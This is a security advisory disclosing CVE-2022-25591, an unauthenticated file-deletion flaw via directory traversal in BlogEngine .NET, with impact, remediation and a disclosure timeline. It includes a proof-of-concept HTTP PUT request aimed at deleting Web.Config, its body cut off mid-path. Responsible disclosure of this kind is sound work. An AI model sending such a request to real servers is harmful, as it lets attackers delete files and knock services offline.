
Lanks
Vulnerability Researcher

May 5, 2022

Advisory: BlogEngine .Net - Unauthenticated Arbitrary File Deletion (CVE-2022-25591)

Summary

An unauthenticated arbitrary file deletion vulnerability was discovered in BlogEngine .NET. By performing a directory traversal attack out of the intended folder structure, a remote, unauthenticated attacker could delete critical files required by the application.

Impact

By crafting a specific HTTP request, an unauthenticated attacker has the ability to delete critical files located within the webserver root directory, affecting the overall availability of the service. This is dependent on the permission level in which the application is being run. Should the application be running with Full Control or Modify permissions within the web root, an attacker may cause a Denial of Service state. This permission level is default within the BlogEngine .NET application.

Affected Software Version

The vulnerability was confirmed on version 3.3.8.0, however it is likely that previous versions are affected.

Product Description

BlogEngine .NET is a light-weight, open source blogging platform built upon Microsoft's .NET framework.

Remediation

The pull request submitted can be found here. The suggested fixes have been tested and correctly remediate the issue.

Vulnerability

```
PUT /api/filemanager/processchecked/delete HTTP/1.1
Host: blogengine
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 85
Origin: http://blogengine
Connection: close
Referer: http://blogengine/admin/app/editor/filemanager.cshtml

[{"IsChecked":true,"Name":"Web.Config","FileType":1,"FullPath":"/../.
```

Blog Post

The technical write-up outlining the discovery of this vulnerability can be found here.

Credit

Jake McCallum (@0xLanks)

Disclosure Timeline

- ***30th March 2022***: Vulnerability discovered.
- ***31st March 2022***: Disclosure of vulnerability to BlogEngine .NET.
- ***13th April 2022***: Follow up on initial email.
- ***29th April 2022***: Final contact attempt.
- ***2nd May 2022***: Initial contact made by BlogEngine .NET stating fixes would not be implemented unless volunteer led.
- ***5th May 2022***: Fixes implemented and tested, pull request submitted.
- ***6th May 2022***: Pull request merged into main branch. Email is sent to BlogEngine .NET to thank them for their help and to let them know a write-up of the vulnerability would be published now the issue had been remediated.

READ NEXT

May 18, 2022

Advisory: BlogEngine .Net - XML External Entity Injection & Cross-Site Request Forgery (CVE-2022-28921)